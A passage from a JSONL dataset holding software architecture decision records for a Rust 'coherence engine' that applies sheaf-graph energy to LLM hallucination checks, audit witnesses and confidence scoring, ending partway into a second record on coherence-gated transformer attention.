Prime-Radiant coherence graph\n graph: SheafGraph,\n /// Gate for inference control\n gate: CoherenceGate,\n /// Original ruvllm validator for compatibility\n inner: CoherenceValidator,\n}\n\nimpl SheafCoherenceValidator {\n /// Validate response coherence using sheaf energy\n pub fn validate(&mut self, response: &str, context: &Context) -> ValidationResult {\n // 1. Convert context and response to sheaf nodes\n let context_node = self.graph.add_node(context.embedding());\n let response_node = self.graph.add_node(response.embedding());\n\n // 2. Add edges for semantic implications\n for claim in response.extract_claims() {\n for fact in context.facts() {\n if claim.relates_to(fact) {\n self.graph.add_edge(\n claim.node_id,\n fact.node_id,\n SemanticRestrictionMap::new(&claim, &fact)\n );\n }\n }\n }\n\n // 3. Compute coherence energy\n let energy = self.graph.compute_energy();\n\n // 4. Gate decision with witness\n let decision = self.gate.evaluate(&Action::generate(response), &energy);\n\n ValidationResult {\n coherent: decision.allow,\n energy: energy.total_energy,\n witness: decision.witness,\n denial_reason: decision.denial_reason,\n }\n }\n}\n```\n\n#### 2. Witness-Backed Generation\n\n```rust\nuse prime_radiant::governance::{WitnessRecord, LineageRecord};\nuse ruvllm::{WitnessLog, WitnessEntry};\n\n/// Unified witness log for LLM inference and coherence decisions\npub struct UnifiedWitnessLog {\n /// Prime-Radiant governance witness records\n coherence_witnesses: Vec,\n /// RuvLLM inference witness entries\n inference_witnesses: WitnessLog,\n}\n\nimpl UnifiedWitnessLog {\n /// Record generation with coherence witness\n pub fn record_generation(\n &mut self,\n prompt: &str,\n response: &str,\n coherence_decision: &GateDecision,\n ) -> GenerationWitness {\n // 1. Create Prime-Radiant witness for coherence\n let coherence_witness = coherence_decision.witness.clone();\n self.coherence_witnesses.push(coherence_witness.clone());\n\n // 2. Create RuvLLM witness for generation\n let inference_witness = self.inference_witnesses.record(\n WitnessEntry::generation(prompt, response)\n .with_coherence_ref(coherence_witness.id)\n );\n\n // 3. Create lineage linking both\n GenerationWitness {\n inference: inference_witness,\n coherence: coherence_witness,\n hash_chain: self.compute_chain_hash(),\n }\n }\n}\n```\n\n#### 3. ReasoningBank \u2192 Learned Restriction Maps\n\n```rust\nuse prime_radiant::learned_rho::LearnedRestrictionMap;\nuse ruvllm::reasoning_bank::{ReasoningBank, Pattern, Verdict};\n\n/// Bridge ReasoningBank patterns to Prime-Radiant restriction maps\npub struct PatternToRestrictionBridge {\n /// Source patterns from RuvLLM\n reasoning_bank: ReasoningBank,\n /// Target restriction maps for Prime-Radiant\n restriction_maps: HashMap,\n}\n\nimpl PatternToRestrictionBridge {\n /// Learn restriction map from successful patterns\n pub fn learn_from_verdict(&mut self, pattern_id: PatternId, verdict: Verdict) {\n if verdict.success_score > 0.8 {\n // Pattern succeeded - strengthen restriction map\n let pattern = self.reasoning_bank.get_pattern(pattern_id);\n\n // Extract source/target from pattern context\n let (source_embedding, target_embedding) = pattern.extract_embeddings();\n\n // Expected residual is zero for successful patterns\n let expected_residual = vec![0.0; target_embedding.len()];\n\n // Train restriction map to produce zero residual\n self.restriction_maps\n .entry(pattern_id)\n .or_insert_with(|| LearnedRestrictionMap::new(\n source_embedding.len(),\n target_embedding.len()\n ))\n .train(&source_embedding, &target_embedding, &expected_residual);\n } else {\n // Pattern failed - learn what incoherence looks like\n let pattern = self.reasoning_bank.get_pattern(pattern_id);\n let (source_embedding, target_embedding) = pattern.extract_embeddings();\n\n // High residual expected for failures\n let failure_residual = self.compute_failure_residual(&pattern, &verdict);\n\n self.restriction_maps\n .entry(pattern_id)\n .or_insert_with(|| LearnedRestrictionMap::new(\n source_embedding.len(),\n target_embedding.len()\n ))\n .train(&source_embedding, &target_embedding, &failure_residual);\n }\n }\n\n /// Export learned maps to Prime-Radiant\n pub fn export_to_prime_radiant(&self, graph: &mut SheafGraph) {\n for (pattern_id, restriction_map) in &self.restriction_maps {\n graph.register_learned_restriction(pattern_id, restriction_map.clone());\n }\n }\n}\n```\n\n#### 4. Context Memory as Sheaf Nodes\n\n```rust\nuse prime_radiant::substrate::SheafNode;\nuse ruvllm::context::{AgenticMemory, WorkingMemory, EpisodicMemory};\n\n/// Memory entries as coherence graph nodes\npub struct MemoryCoherenceLayer {\n /// Agentic memory (long-term patterns)\n agentic: AgenticMemory,\n /// Working memory (current context)\n working: WorkingMemory,\n /// Episodic memory (conversation history)\n episodic: EpisodicMemory,\n /// Sheaf graph for coherence\n graph: SheafGraph,\n}\n\nimpl MemoryCoherenceLayer {\n /// Add memory entry with coherence tracking\n pub fn add_with_coherence(&mut self, entry: MemoryEntry) -> CoherenceResult {\n // 1. Add to appropriate memory type\n let memory_id = match entry.memory_type {\n MemoryType::Agentic => self.agentic.store(entry.clone()),\n MemoryType::Working => self.working.store(entry.clone()),\n MemoryType::Episodic => self.episodic.store(entry.clone()),\n };\n\n // 2. Create sheaf node for memory entry\n let node = SheafNode {\n id: NodeId::from(memory_id),\n state: entry.embedding,\n metadata: entry.metadata.into(),\n updated_at: Timestamp::now(),\n };\n self.graph.add_node(node);\n\n // 3. Create edges to related memories\n let related = self.find_related_memories(&entry);\n for related_id in related {\n self.graph.add_edge(\n memory_id.into(),\n related_id.into(),\n MemoryRestrictionMap::temporal_consistency(),\n );\n }\n\n // 4. Check if adding this entry creates incoherence\n let energy = self.graph.compute_energy();\n\n CoherenceResult {\n memory_id,\n energy: energy.total_energy,\n coherent: energy.total_energy < self.threshold,\n }\n }\n}\n```\n\n#### 5. Confidence as Coherence Energy\n\n```rust\nuse prime_radiant::CoherenceEnergy;\nuse ruvllm::reflection::{ConfidenceChecker, ConfidenceScore};\n\n/// Confidence derived from coherence energy\npub struct CoherenceConfidence {\n /// Base confidence checker\n inner: ConfidenceChecker,\n /// Coherence-to-confidence mapping\n energy_scale: f32,\n}\n\nimpl CoherenceConfidence {\n /// Compute confidence from coherence energy\n ///\n /// Key insight: Low energy = high confidence (system is coherent)\n /// High energy = low confidence (contradictions exist)\n pub fn confidence_from_energy(&self, energy: &CoherenceEnergy) -> ConfidenceScore {\n // Energy is non-negative, higher = more incoherent\n // Confidence should be 0-1, higher = more confident\n\n // Sigmoid mapping: conf = 1 / (1 + exp(scale * (energy - threshold)))\n let scaled = self.energy_scale * (energy.total_energy - self.threshold);\n let confidence = 1.0 / (1.0 + scaled.exp());\n\n ConfidenceScore {\n value: confidence,\n // Can explain confidence through energy breakdown\n explanation: self.explain_confidence(energy),\n // Confidence is now provable through witness\n witness_backed: true,\n }\n }\n\n fn explain_confidence(&self, energy: &CoherenceEnergy) -> String {\n let top_contributors: Vec<_> = energy.edge_energies\n .iter()\n .filter(|(_, e)| **e > 0.01)\n .take(3)\n .collect();\n\n if top_contributors.is_empty() {\n \"High confidence: no structural contradictions detected\".into()\n } else {\n format!(\n \"Lower confidence due to {} potential inconsistencies\",\n top_contributors.len()\n )\n }\n }\n}\n```\n\n### Integration ADRs\n\n| ADR | Decision |\n|-----|----------|\n| ADR-CE-016 | RuvLLM CoherenceValidator uses sheaf energy, not heuristic scores |\n| ADR-CE-017 | WitnessLog and Prime-Radiant governance share unified audit trail |\n| ADR-CE-018 | ReasoningBank patterns feed learned restriction map training |\n| ADR-CE-019 | Memory entries (agentic, working, episodic) become sheaf nodes |\n| ADR-CE-020 | Confidence scores derived from coherence energy with sigmoid mapping |\n| ADR-CE-021 | SonaIntegration shared between ruvllm and Prime-Radiant |\n| ADR-CE-022 | ErrorPatternLearner updates restriction maps on failure detection |\n\n### Integration Benefits\n\n1. **Structural Hallucination Detection** - Not pattern matching; mathematical proof that response contradicts context\n2. **Unified Audit Trail** - Single witness chain for both inference and coherence decisions\n3. **Experience-Driven Constraints** - ReasoningBank patterns make restriction maps more accurate over time\n4. **Provable Confidence** - \"I don't know\" backed by energy calculation, not vibes\n5. **Memory Consistency** - All context entries tracked for structural coherence\n6. **Shared Adaptation** - SONA tunes both LLM quality and coherence thresholds together\n\n---\n\n## Application Tiers\n\n> **Philosophy**: This creates a clean spectrum of applications without rewriting the core. The same residual becomes contradiction energy, and the same gate becomes a refusal mechanism with a witness.\n\n### Tier 1: Deployable Today\n\n| Application | Description | Coherence Use | Key Benefit |\n|-------------|-------------|---------------|-------------|\n| **Anti-Hallucination Guards** | Protect agents from confident incorrect outputs | Energy spike \u2192 retrieval escalation | Structural proof, not probability |\n| **Market Regime Change Throttles** | Detect regime shifts before losses cascade | Spectral drift \u2192 throttle trading | Early warning, not prediction |\n| **Audit-Ready Compliance Proofs** | Every decision has immutable witness trail | Witness records for every gate | Complete auditability |\n\n### Tier 2: Next (12-24 Months)\n\n| Application | Description | Coherence Use | Key Benefit |\n|-------------|-------------|---------------|-------------|\n| **Safety-First Autonomy for Drones** | Refuse action on structural mismatch | Energy threshold \u2192 motion stop | Physical safety guarantee |\n| **Medical Monitoring** | Escalate only on **sustained** diagnostic disagreement | Persistence detection \u2192 alert | Reduces false positives |\n| **Zero-Trust Security** | Detect structural incoherence **before** alerts fire | Graph consistency \u2192 authorization | Proactive, not reactive |\n\n### Tier 3: Further Out (5-10 Years)\n\n| Application | Description | Coherence Use | Key Benefit |\n|-------------|-------------|---------------|-------------|\n| **Scientific Discovery** | Scale discovery by **pruning inconsistent theories** | Global energy minimization | Accelerates hypothesis refinement |\n| **Policy Stress Testing** | Stress-test policy futures **without pretending to predict** | Counterfactual coherence analysis | Honest uncertainty bounds |\n| **Self-Awareness Primitive** | System knows **when it no longer understands itself** | Reflexive coherence monitoring | Machine metacognition |\n\n### The Application Spectrum\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 UNIVERSAL COHERENCE SUBSTRATE \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 SAME MATH \u2502\u2502\n\u2502 \u2502 Nodes: x_v (d-dimensional) Edges: \u03c1_u, \u03c1_v Energy: \u03a3 w_e|r_e|\u00b2 \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 AI AGENTS \u2502 \u2502 FINANCE \u2502 \u2502 MEDICAL \u2502 \u2502 ROBOTICS \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 Beliefs \u2192 \u2502 \u2502 Trades \u2192 \u2502 \u2502 Vitals \u2192 \u2502 \u2502 Sensors \u2192 \u2502 \u2502\n\u2502 \u2502 Citations \u2502 \u2502 Arbitrage \u2502 \u2502 Physiology \u2502 \u2502 Physics \u2502 \u2502\n\u2502 \u2502 = Hallucin. \u2502 \u2502 = Regime \u2502 \u2502 = Clinical \u2502 \u2502 = Motion \u2502 \u2502\n\u2502 \u2502 refusal \u2502 \u2502 throttle \u2502 \u2502 escalate \u2502 \u2502 stop \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 SECURITY \u2502 \u2502 SCIENCE \u2502 \u2502 SELF-AWARE \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 Permissions \u2192\u2502 \u2502 Hypotheses \u2192 \u2502 \u2502 Internal \u2502 \u2502\n\u2502 \u2502 Policy \u2502 \u2502 Evidence \u2502 \u2502 beliefs \u2192 \u2502 \u2502\n\u2502 \u2502 = Access \u2502 \u2502 = Theory \u2502 \u2502 Consistency \u2502 \u2502\n\u2502 \u2502 denial \u2502 \u2502 prune \u2502 \u2502 = I don't \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 know \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 DIFFERENT INTERPRETATIONS \u2502\u2502\n\u2502 \u2502 Same residual = contradiction energy | Same gate = refusal + witness \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## Architectural Decision Records (Internal)\n\n| ADR | Decision |\n|-----|----------|\n| ADR-CE-001 | Sheaf Laplacian defines coherence witness, not probabilistic confidence |\n| ADR-CE-002 | Incremental computation with stored residuals, subgraph summaries, global fingerprints |\n| ADR-CE-003 | PostgreSQL + ruvector as unified substrate |\n| ADR-CE-004 | Signed event log with deterministic replay |\n| ADR-CE-005 | Governance objects are first-class, immutable, addressable |\n| ADR-CE-006 | Coherence gate controls explicit compute ladder (Reflex \u2192 Retrieval \u2192 Heavy \u2192 Human) |\n| ADR-CE-007 | Thresholds auto-tuned from production traces with governance approval |\n| ADR-CE-008 | Multi-tenant isolation at data, policy, and execution boundaries |\n| ADR-CE-009 | **Single coherence object** - once math is fixed, everything is interpretation |\n| ADR-CE-010 | **Domain-agnostic nodes/edges** - facts, trades, vitals, hypotheses all use same substrate |\n| ADR-CE-011 | **Residual = contradiction energy** - universal interpretation across domains |\n| ADR-CE-012 | **Gate = refusal mechanism with witness** - every refusal is provable |\n| ADR-CE-013 | **Not prediction** - system shows safe/unsafe action, not what will happen |\n| ADR-CE-014 | **Reflex lane default** - most updates stay low-latency, escalation only on sustained incoherence |\n| ADR-CE-015 | **Adapt without losing control** - persistent tracking enables learning within governance |\n| ADR-CE-016 | **RuvLLM CoherenceValidator** uses sheaf energy, not heuristic scores |\n| ADR-CE-017 | **Unified audit trail** - WitnessLog and Prime-Radiant governance share single chain |\n| ADR-CE-018 | **Pattern-to-restriction bridge** - ReasoningBank patterns feed learned restriction maps |\n| ADR-CE-019 | **Memory as nodes** - AgenticMemory, WorkingMemory, EpisodicMemory become sheaf nodes |\n| ADR-CE-020 | **Confidence from energy** - sigmoid mapping from coherence energy to confidence score |\n| ADR-CE-021 | **Shared SONA** - SonaIntegration shared between ruvllm and Prime-Radiant |\n| ADR-CE-022 | **Failure learning** - ErrorPatternLearner updates restriction maps on detection |\n\n---\n\n## Consequences\n\n### Benefits\n\n1. **Universal Inconsistency Detection** - Same math applies to agents, finance, medical, robotics, security, and science\n2. **Not Prediction** - System shows where action is safe vs must stop, not what will happen\n3. **Provable Consistency** - Mathematical witnesses replace probabilistic guesses\n4. **Auditable Decisions** - Every gate decision has immutable witness record with lineage\n5. **Localized Debugging** - Edge residuals pinpoint exact inconsistency sources\n6. **Incremental Efficiency** - Only recompute affected subgraphs\n7. **Low-Latency Default** - Most updates stay in reflex lane (<1ms)\n8. **Graceful Escalation** - Compute ladder handles sustained/growing incoherence\n9. **Governance by Design** - Signed policy bundles require multi-party approval\n10. **Deterministic Replay** - Every action auditable and replayable from event log\n11. **Adapt Without Losing Control** - Threshold autotuning from production traces with governance approval\n12. **Domain Agnostic** - Clean spectrum of applications without rewriting core\n13. **LLM Hallucination Detection** - Structural proof that response contradicts context, not pattern matching\n14. **Witness-Backed Generation** - Every LLM output has cryptographic audit trail\n15. **Experience-Driven Constraints** - ReasoningBank patterns improve restriction map accuracy over time\n16. **Provable \"I Don't Know\"** - Confidence derived from energy, not heuristics\n\n### Risks and Mitigations\n\n| Risk | Probability | Impact | Mitigation |\n|------|-------------|--------|------------|\n| Restriction map design complexity | High | Medium | Provide learned initialization from data |\n| Cold start (no history) | Medium | Low | Bootstrap from domain priors |\n| Computational overhead | Medium | Medium | SIMD-optimized residual calculation, incremental updates |\n| Threshold tuning difficulty | Medium | Medium | Auto-tune from production traces with governance |\n| Graph size scaling | Low | High | Subgraph partitioning, distributed computation |\n\n### Performance Targets\n\n| Metric | Target | Enabled By |\n|--------|--------|------------|\n| Single residual calculation | < 1us | SIMD intrinsics |\n| Full graph energy (10K nodes) | < 10ms | Parallel computation |\n| Incremental update (1 node) | < 100us | Tile-local updates |\n| Gate evaluation | < 500us | Neural gate |\n| Witness persistence | < 5ms | PostgreSQL |\n| Tile tick (256 tiles parallel) | < 1ms | cognitum-gate-kernel |\n| SONA instant adaptation | < 0.05ms | Micro-LoRA |\n| MinCut update (amortized) | n^o(1) | Subpolynomial algorithm |\n| HDC witness encoding | < 10us | Hypervector ops |\n| Hyperbolic distance | < 500ns | Poincar\u00e9 SIMD |\n| Attention-weighted energy | < 5ms | Flash attention |\n| Distributed consensus | < 50ms | Raft protocol |\n\n---\n\n## Implementation Phases\n\n### Phase 1: Foundation (Weeks 1-4)\n\n- [ ] Core sheaf graph data structures\n- [ ] Residual calculation with SIMD optimization\n- [ ] Basic energy aggregation\n- [ ] In-memory storage backend\n\n### Phase 2: Governance (Weeks 5-8)\n\n- [ ] Policy bundle schema and validation\n- [ ] Witness record creation and persistence\n- [ ] Lineage tracking for writes\n- [ ] PostgreSQL storage integration\n\n### Phase 3: Gate (Weeks 9-12)\n\n- [ ] Compute ladder implementation\n- [ ] Threshold-based gating logic\n- [ ] Persistence detection\n- [ ] Escalation pathways\n\n### Phase 4: Advanced (Weeks 13-16)\n\n- [ ] Incremental coherence computation\n- [ ] Spectral analysis for drift detection\n- [ ] Auto-tuning from traces\n- [ ] Multi-tenant isolation\n\n---\n\n## Feature Flags\n\n| Feature | Default | Description |\n|---------|---------|-------------|\n| `default` | Yes | Core coherence with tiles, SONA, nervous-system |\n| `full` | No | All integrations enabled |\n| `tiles` | Yes | cognitum-gate-kernel 256-tile fabric |\n| `sona` | Yes | Self-optimizing threshold tuning |\n| `learned-rho` | Yes | GNN-learned restriction maps |\n| `hyperbolic` | Yes | Hierarchy-aware Poincar\u00e9 energy |\n| `mincut` | Yes | Subpolynomial graph partitioning |\n| `neural-gate` | Yes | Nervous-system CoherenceGatedSystem |\n| `attention` | No | Attention-weighted residuals (MoE, PDE) |\n| `distributed` | No | Raft-based multi-node coherence |\n| `ruvllm` | No | LLM inference integration with coherence-backed generation |\n| `postgres` | No | PostgreSQL governance storage |\n| `simd` | Yes | SIMD-optimized residual calculation |\n| `spectral` | No | Eigenvalue-based drift detection |\n| `wasm` | No | WASM bindings for browser/edge |\n\n---\n\n## Dependencies\n\n### Core Ruvector Crate Dependencies\n\n| Crate | Version | Purpose |\n|-------|---------|---------|\n| `cognitum-gate-kernel` | workspace | 256-tile WASM coherence fabric |\n| `sona` | workspace | Self-optimizing thresholds with EWC++ |\n| `ruvector-gnn` | workspace | Learned restriction maps, replay buffers |\n| `ruvector-mincut` | workspace | Subpolynomial n^o(1) graph partitioning |\n| `ruvector-hyperbolic-hnsw` | workspace | Hierarchy-aware Poincar\u00e9 energy |\n| `ruvector-nervous-system` | workspace | CoherenceGatedSystem, HDC witnesses |\n| `ruvector-attention` | workspace | Topology-gated attention, MoE |\n| `ruvector-raft` | workspace | Distributed consensus |\n| `ruvector-core` | workspace | Vector storage and HNSW search |\n| `ruvector-graph` | workspace | Graph data structures |\n| `ruvllm` | workspace | LLM inference with coherence-backed quality |\n\n### External Dependencies\n\n| Dependency | Purpose |\n|------------|---------|\n| `ndarray` | Matrix operations for restriction maps |\n| `rayon` | Parallel residual computation |\n| `blake3` | Content hashing for witnesses |\n| `bincode` | Binary serialization |\n| `tokio` | Async runtime for distributed coherence |\n\n### Optional Dependencies\n\n| Dependency | Feature | Purpose |\n|------------|---------|---------|\n| `sqlx` | postgres | PostgreSQL async client |\n| `nalgebra` | spectral | Eigenvalue computation |\n| `serde_json` | - | JSON serialization for governance |\n| `wasm-bindgen` | wasm | WASM bindings for browser deployment |\n\n---\n\n## References\n\n1. Hansen, J., & Ghrist, R. (2019). \"Toward a spectral theory of cellular sheaves.\" Journal of Applied and Computational Topology.\n\n2. Curry, J. (2014). \"Sheaves, Cosheaves and Applications.\" arXiv:1303.3255.\n\n3. Robinson, M. (2014). \"Topological Signal Processing.\" Springer.\n\n4. RuVector Team. \"ruvector-core Architecture.\" ADR-001.\n\n5. Original Gist: \"Coherence Engine Vision.\" https://gist.github.com/ruvnet/e511e4d7015996d11ab1a1ac6d5876c0\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture\n- **ADR-003**: SIMD Optimization Strategy\n- **ADR-006**: Memory Management\n- **ADR-007**: Security Review & Technical Debt\n- **ADR-011**: RuvLLM Architecture (LLM serving with quality gates)\n- **ADR-012**: ReasoningBank Pattern Storage (EWC++ consolidation)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-014-coherence-engine.md", "created_at": "2026-03-28T11:58:48.874565+00:00", "content_hash": "075568ad6469ea383692740c2a0c7fa1caa66fbecf18e05b29e4d24fccf19295"} +{"id": "212c77f5-f40e-4248-85cd-b81035f96fb4", "source": "adr", "text": "# ADR-015: Coherence-Gated Transformer (Sheaf Attention)\n\n**Status**: Proposed\n**Date**: 2026-01-22\n**Authors**: ruv.io, RuVector Team\n**Deciders**: Architecture Review Board\n**Target Crate**: `ruvector-attention`\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-01-22 | ruv.io | Initial proposal for coherence-gated attention |\n\n---\n\n## Context\n\n### The Transformer Latency Problem\n\nStandard transformers have fundamental efficiency issues:\n\n1. **Quadratic attention**: O(N\u00b2) for sequence length N\n2. **Fixed computation**: Every token gets same compute regardless of difficulty\n3. **Dense by default**: All attention weights computed even when most are near-zero\n4. **Confidence-based exits**: Early exit uses unreliable confidence scores\n\n### Existing Solutions and Their Limits\n\n| Approach | Method | Limitation |\n|----------|--------|------------|\n| Flash Attention | Memory-efficient matmul | Still O(N\u00b2) compute |\n| Sparse Attention | Fixed patterns (local, strided) | Patterns don't adapt to content |\n| Linear Attention | Kernel approximation | Quality degradation |\n| Early Exit | Confidence threshold | Confidence \u2260 correctness |\n| MoE | Expert routing | Routing is learned, not principled |\n\n### The Coherence Insight\n\nPrime-Radiant's coherence engine provides a **mathematically grounded** measure of consistency. This can be applied to attention:\n\n> **Core idea**: Tokens that are already coherent with context don't need expensive attention. Route computation based on coherence energy, not learned confidence.\n\n---\n\n## Decision\n\n### Implement Coherence-Gated Transformer (CGT) in `ruvector-attention`\n\nA novel attention mechanism that uses sheaf coherence to:\n1. **Route tokens** to different compute depths\n2. **Sparsify attention** based on residual energy\n3. **Exit early** when energy converges\n4. **Replace QKV projections** with restriction maps\n\n---\n\n## Architecture\n\n### High-Level Design\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 COHERENCE-GATED TRANSFORMER (CGT) \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 INPUT PROCESSING \u2502\u2502\n\u2502 \u2502 Tokens \u2500\u2500\u25ba Embedding \u2500\u2500\u25ba Initial Coherence Graph \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 